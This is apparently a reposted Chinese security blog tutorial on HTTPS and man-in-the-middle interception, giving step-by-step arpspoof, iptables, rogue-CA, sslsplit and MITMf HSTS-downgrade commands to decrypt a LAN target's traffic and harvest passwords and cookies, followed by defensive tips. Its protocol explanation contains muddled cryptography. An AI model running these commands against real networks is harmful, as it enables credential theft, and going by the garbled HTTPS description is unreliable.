HTTPS攻击原理与防御

Posted 信安之路

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HTTPS攻击原理与防御相关的知识,希望对你有一定的参考价值。

本文作者 TimeS0ng , 鉴于其之前文章的数量以及质量都不错,结合之前的表现奖励 100 元,钱虽不多,聊表心意。

0x00. HTTPS 简介

超文本传输安全协议( HTTPS )是一种通过计算机网络进行安全通信的传输协议。HTTPS 经由 HTTP 进行通信,但利用 SSL/TLS 来加密数据包。 HTTPS 开发的主要目的,是提供对网站服务器的身份认证,保护交换数据的隐私与完整性。


0x01. HTTPS 原理


1.首先是建立 TCP 的三次握手连接,连接建立之后由客户端向浏览器发起 https 连接请求。

2.连接请求成功之后,client 会发送自己所有支持的 ciphersuit ( 包括:对称加密算法、非对称加密算法、单向加密算法、伪随机数算法 )给目标 server 进行加密算法的协商,server 会选择他们俩都支持的最安全的 ciphersuit 进行加密通信。

3.然后 server 会发送自己的证书到 client( 证书用于验证 server 的身份,同时也包含了 server 的各种注册信息 )。

4.client 在接收到 server 的证书之后,会验证该证书是否是由本地根证书中所信任的颁发机构颁发的证书。证书里面会有证书颁发机构的私钥签名,只有正确的私钥才能被 client 保存的公钥解密,这就保证了证书的安全性;证书中还会存在 server 的公钥,只有拥有私钥的 server 才能解密公钥加密的内容,这就保证了后续过程的安全性。

5.验证了证书的合法性之后,client 会使用刚才协商的伪随机数算法生成对称密钥,然后将对称密钥通过 server 的公钥进行加密之后,再发送给 server 。

6.server 接收到公钥加密的内容之后,会用自己的私钥进行解密,从而获取对称密钥,此时通信双方都得到了对称密钥就可以进行加密通信了。

7.通信时 client 会先将数据用对称密钥加密,然后又进行 hash 计算,然后用 server 的公钥将得到的 hash 值进行加密,将该 hash 值和加密之后的密文发送给 server 端,发送数据过程类似hash( private_encrypt ( data ) ) + public_encrypt ( hash ) --> server

8.server 接收到 client 传来的数据包之后,会先用自己的私钥解密密文得到 hash1 ,然后用 hash1 与没有加密的 hash 进行比较,相同则代表传输的数据没有被篡改,然后再用之前协商的单向加密算法解密 hash ,用对称密钥解密密文得到 data server 发送数据过程类似:hash ( private_encrypt ( data ) ) + private_encrypt ( hash ) --> client


0x02. 攻击原理


HTTPS攻击原理与防御

1.首先 attacker 会对目标进行中间人攻击,从而让流量流经自己的电脑(这与 burpsuit 的原理根本就是一样的)。

2.此时 client 便会与 attacker 进行 https 加密通信,server 也会与 attacker 进行 https 加密通信。

3.虽然此时进行的是 https 通信,但是所有的 data 对于 attacker 来说都是明文的。


0x03. 攻击实战

环境准备:

kali工具:sslsplit、arpspoof

操作系统: win 7

实战步骤:

1.打开kali的数据包转发功能

echo 1 >> /proc/sys/net/ipv4/ip_forward

2.设置端口转发(将原本发过来的80、443等端口全部转发到sslsplit的代理端口)

iptables -t nat -F

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

iptables -t nat -L

3.利用 openssl 生成私钥

openssl genrsa -out ca.key 2048

4.利用私钥签名生成的证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

HTTPS攻击原理与防御

5.启动 arpspoof 进行中间人攻击

arpspoof -i eth0 -t 192.168.1.103 -r 192.168.1.1

6.创建 log 目录,启动 sslsplit

mkdir -p test/logdir

sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

HTTPS攻击原理与防御

如果像 github 这种 https 配置较好的网站是会提醒用户证书错误的,最近刚出的 WPA2 漏洞里面欺骗的那个 https 网站就属于配置有误

7.剩下的就是用正则匹配出想要的账号密码或者 cookie 了

8.当然我们也能用 MITMF 对 HTTPS 做降级攻击,这样就能直接捕获明文

iptables -t nat -F

mitmf --spoof --arp -i eth0 --gateway 192.168.1.1 --target 192.168.1.103 --hsts

方法多种多样,大家还可以尝试其他工具,这里就不一一列举了


0x04. 防御建议

服务端防御:

配置最安全的 https。

密码不仅要靠 https 加密传输,在前端也要使用加密控件对密码进行加密,这样就算被降级攻击也拿不到密码明文。

客户端防御:

配置路由规则,绑定 IP/MAC 以防被 ARP 欺骗。

谨慎打开浏览器提醒证书错误的网站,但是笔者曾遇到过某部门网站居然都会出现证书报错,不得已还是要打开。

少去蹭网,往往免费的东西才是最贵的。

珍爱生命,远离黑客。


0x05. 结语

本篇文章主要是讲解 https 的原理,适当的讲了一点实战演示,还是那句话:原理最重要,工具是死的,人是活的。

个人作品展:

作者简介:

作者目前在号称天府之都的成都,就读于成都信息工程大学( CUIT )网络空间安全学院16届信息安全实验班,就职于道格安全技术小组,这样逼格是不是很高\^o^,其实就是在双流男子技工学院啦!

下面说说笔者接触信安的机缘巧合:

高考完的那个暑假,欣喜若狂的拥有了自己的 MAC 。哇!新世界的大门就这样被打开了,面对崭新的从未接触过的操作系统,我向吃了兴奋剂一样研究了他三天三夜,直到基本的操作都用熟了之后感觉整个人都焕然一新,这是 windows 上从未有过的体验,于是从此告别了鼠标和 windows 。


想跟作者成为朋友吗?赶紧加群吧!



以上是关于HTTPS攻击原理与防御的主要内容,如果未能解决你的问题,请参考以下文章

xss原理攻击方式与防御

Web安全CSRF攻击与防御

DOM-XSS攻击原理与防御

SSRF漏洞原理攻击与防御(超详细总结)

网络安全-DoS与DDoS攻击原理(TCPUDPCC攻击等)与防御

CSRFXSSclickjackingSQL 的攻击与防御